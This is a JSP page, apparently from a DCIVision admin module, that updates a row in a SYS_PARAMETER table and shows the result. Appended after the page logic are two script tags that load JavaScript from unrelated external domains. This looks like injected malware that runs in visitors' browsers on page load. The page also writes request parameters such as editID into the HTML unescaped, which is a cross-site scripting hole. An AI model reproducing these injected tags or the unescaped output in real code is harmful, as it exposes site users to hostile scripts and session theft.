<%
/*
 * @(#)EditSysParameterResult.jsp
 *
 * Copyright (c) 2004 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  EditSysParameter.jsp

  This class is used to display the result of updated system parameter

    @author          Wilson Kong
    @company         DCIVision Limited
    @creation date   23/04/2004
    @version         $Revision: 1.1.44.1 $
*/
%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.lang.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%

    String paraCode = null;
    String paraValue = null;
    String paraType = null;
    String paraDesc = null;
    String paraStatus = null;

    String editID = request.getParameter( "editID");
    String updateValue = request.getParameter( "updateValue");
    boolean success = false;
    boolean isInt = false;
    boolean validated = true;

    Connection conn = null;
    ResultSet rs = null;
    PreparedStatement sqlstmt = null;
    PreparedStatement sqlstmt1 = null;
    conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);


    sqlstmt1 = conn.prepareStatement("SELECT * FROM SYS_PARAMETER WHERE ID = ?");
	sqlstmt1.setString(1,editID);
	rs = sqlstmt1.executeQuery();
	if (rs.next()){
      paraType = rs.getString(4);
    }
    if ( (paraType.equals("I") ) || (paraType.equals("D") ) ){
      try {
	    Integer.valueOf(updateValue);
	    isInt = true;
      }catch (Exception e){
        validated = false;
      }
    }

    if ( ( conn != null ) &&  (validated ) ) {
      try{

        sqlstmt = conn.prepareStatement("UPDATE SYS_PARAMETER SET PARAMETER_VALUE = ?  WHERE ID = ?;");
        sqlstmt.setString(1,updateValue);
        sqlstmt.setString(2,editID);
        sqlstmt.executeUpdate();
        conn.commit();
        success = true;

        sqlstmt1 = conn.prepareStatement("SELECT * FROM SYS_PARAMETER WHERE ID = ?");
		sqlstmt1.setString(1,editID);
		rs = sqlstmt1.executeQuery();
		if (rs.next()){
		  paraCode = rs.getString(2);
		  paraValue = rs.getString(3);
	      paraType = rs.getString(4);
		  paraDesc = rs.getString(5);
		  paraStatus = rs.getString(6);
        }

      } catch (SQLException e) {
        LogFactory.getLog(this.getClass()).error(e, e);
      } finally {

        try { sqlstmt.close(); } catch (Exception ignore) {} finally { sqlstmt = null; }
        try { rs.close(); } catch (Exception ignore) {} finally { rs = null; }
      }
    }
    if (success){
%>
      <b><p>System Parameter Updated Successfully!</p></b>

      <table border="1">
	    <tr>
	      <td bgcolor="#efffff"><b>ID</font></b></td>
	      <td><%=editID%></td>
	    </tr>
	    <tr>
	      <td bgcolor="#efffff"><b>PARAMETER_CODE</b></td>
	      <td><%=paraCode%></td>
	    </tr>
	    <tr>
	      <td bgcolor="#efffff"><b>PARAMETER_VALUE</b></td>
	      <td><%=paraValue%></td>
	    </tr>
	    <tr>
	      <td bgcolor="#efffff"><b>PARAMETER_TYPE</b></td>
	      <td><%=paraType%></td>
	    </tr>
	    <tr>
	      <td bgcolor="#efffff"><b>DESCRIPTION</b></td>
	      <td><%=paraDesc%></td>
	    </tr>
	    <tr>
	      <td bgcolor="#efffff"><b>RECORD_STATUS</b></td>
	      <td><%=paraStatus%></td>
	    </tr>
     </table>

     <p><strong><html:link action = "/admin/ListSysParameter">back </html:link></strong></p>
<%
     } else {
%>
      <b><p>System Parameter Updated Failed!</p></b>
<%
        if ( !validated){
%>
           <p> <font color = 'red' >The parameter type is integer or decimal number!<br>The parameter value must be number! </font></p>
           <p><strong><html:link action = '<%=  "/admin/EditSysParameter?editID=" + editID %>'>back </html:link></strong></p>
<%
        }
     }
%>



<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>